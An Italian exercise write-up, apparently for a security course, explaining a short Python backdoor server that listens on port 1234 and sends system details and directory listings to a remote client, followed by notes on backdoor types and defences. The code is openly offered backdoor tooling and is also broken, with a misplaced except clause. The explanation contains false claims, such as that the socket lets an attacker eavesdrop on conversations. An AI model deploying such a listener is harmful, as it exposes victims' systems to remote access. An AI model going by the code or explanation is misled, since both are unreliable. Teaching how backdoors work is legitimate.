

```

import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()

```

Spiegazione programma socket

*In questo esercizio andiamo a vedere come un attaccante può ascoltare una conversazione fra due persone collegate a una porta conoscendo almeno l'indirizzo IP di una delle due persone. Tutto ciò è possibile tramite il **socket**, un tool pre-impostato su kali.*

*Il programma inizia con l'importazione dei vari delle varie librerie che andremo a utilizzare, ovvero **socket,platform e os**.*

Successivamente viene impostato l'indirizzo IP interessato(in questo caso vuoto perche il programma è eseguibile con qualsiasi IP) e la porta di riferimento; viene utilizzata questa specifica porta perchè precedentemente l'attaccante è riuscito a inserire un Trojan all'interno di una delle macchine che comunicano, questo malware è stato programmato proprio per passare inosservato al computer attaccato e per aprire la porta desiderata così da consentire l'accesso.

Con il comando `socket.socket` viene creato il socket con delle specifiche particolari:

- Con **`AF_INET`** specifichiamo che vogliamo un socket con indirizzo IPv4
- Con **`SOCK_STREAM`** invece specifichiamo che vogliamo una connessione di tipo TCP

A seguire vengono usati i comandi:

- **`s.bind((SRV_ADDR, SRV_PORT))`** per collegare il socket all'IP desiderato e alla porta utilizzata per l'ascolto.
- **`s.listen(1)`** per configurare il socket sulla coppia IP:PORTA; il numero tra parentesi tonde sta a indicare il numero di connessioni in coda.
- **`s.accept()`** è il metodo di accettazione delle connessioni in entrata.

Infine abbiamo un ciclo while infinito, poichè è stato inserito il valore `true(1)` e sappiamo bene che il ciclo while in python continua all'infinito se sempre vero.

Cos'è una Backdoor?

La backdoor(definita come malware) in questo programma è proprio la porta 1234 utilizzata perche, come spiegato piu in alto, è stata aperta da un malware inserito proprio dall'attaccante precedentemente. Questa backdoor non permette solo di spiare la conversazione, ma permette anche di entrare all'interno del computer indisturbato.

Esistono vari tipi di backdoor:

- *Trojan: Fingono di essere file benigni ma contengono funzioni dannose(come il cavallo di Troia, da qui il nome Trojan).*
- *Backdoor Integrale: Sono backdoor impossibili da chiudere, create sotto forma di account predefiniti.*
- *Reverse Shell:è una tecnica per eseguire comandi sulla macchina della vittima; la particolarità di questo attacco è che la connessione si origina dal sistema infetto verso l'attaccante, al quale viene dato poi accesso alla shell dei comandi.*
- *Botnet: Sono attacchi di massa, eseguiti su larga scala(ad esempio attacchi di DDOS).*

Come difendersi?

- *Limitare i privilegi, cercando di prevenire l'infiltrazione di attaccanti e ospiti sgradevoli.*
- *Firewall ben settati forniscono un buono scudo, bloccando connessioni provenienti da web server sospetti.*
 - *Tenere sempre aggiornate applicazioni di ogni genere.*
- *Antivirus completi con regolare monitoraggio sono regole base contro qualsiasi tipo di attacco, anche questi.*
- *Creando un honeypot, per far cadere nella trappola tutti coloro che proveranno a insidiarsi nel computer tramite backdoor.*